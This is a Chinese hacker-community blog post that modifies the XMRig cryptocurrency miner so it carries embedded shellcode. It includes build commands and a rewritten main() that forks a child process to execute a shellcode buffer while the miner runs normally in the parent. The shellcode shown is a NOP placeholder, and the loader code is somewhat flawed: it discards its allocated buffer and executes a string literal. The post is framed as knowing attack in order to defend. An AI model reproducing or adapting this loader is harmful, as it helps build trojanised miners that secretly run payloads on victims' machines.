起因
新的季度已经开始,可是仍旧没有想好文章的方向,于是在90sec和t00ls的QQ群征集文章内容,最后只收到了两个,一个是月表已经说了很久的xmrig定制功能,另一个是我手头已经改好的bypass av,本来是准备发bypass av的,但是那个时间有点久远(2017爆出的显卡驱动漏洞)而且比较鸡肋(显卡驱动、windows版本都有要求),貌似网上已经有改好的源码,部分av厂商也已经做了防范,所以最后选择了xrmig定制功能,根据月表的需求的是希望内置一段shellcode,于是就有了下文,理由依旧这么牵强。
准备工作
首次编译
由于这次的功能需要上线测试,所以就没有在本机编译,而是专门准备了一台Ubuntu 16.04的虚拟机,根据官方github提供的编译命令,如下所示,各位表哥根据自己的实际情况在xmrig编译命令中选用合适的命令。
sudo apt-get install git build-essential cmake libuv1-dev libmicrohttpd-dev libssl-dev
git clone https://github.com/xmrig/xmrig.git
cd xmrig
mkdir build
cd build
cmake ..
make
如果使用跟文章相同的版本,在试用上述命令进行首次编译时会出现Could NOT find RANDOMX (missing: RANDOMX_LIBRARY RANDOMX_INCLUDE_DIR)
这个错误,淡定从容莫慌张,使用cmake .. -DWITH_RANDOMX=OFF
命令即可解决。
源码修改
修改前src/xmrig.cpp的代码,如下所示。
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
int main(int argc, char **argv) {
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
App app(&process);
return app.exec();
}
修改后src/xmrig.cpp的代码,如下所示。
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
pid_t pid;
pid=fork();
if(pid < 0) {
printf("error in fork!");
} else if(pid == 0) {
const void *buf = malloc(400);
buf =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
((void(*)())buf)();
} else {
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
App app(&process);
return app.exec();
}
return 0;
}
总结
就几行代码,其实没有什么技术问题,只是提供一种思路,不知攻焉知防,“知攻”不应该只是嘴上说说,张口CVE,闭嘴EXP,“知防”不应该只是限定于目之所及,做最坏的打算,尽最大的努力,才有最好的结果。
瞎扯淡
-
不知从什么时候开始对二进制产生了兴趣,月初开始自学,遇到各种问题难以解决,不是问题太难,而是问题太奇葩,恰逢一表哥,愿意答疑解惑,学习中遇到的问题得以解决,深表感谢。
-
这个季度如果不出意外的话应该会一直学习二进制相关的知识,入门水深,且行且珍惜。
-
人生如果没有目标,便会迷失方向;迷失方向,便会找到一个不曾有人找到的方向。
-
至于下个季度的文章内容,随缘吧。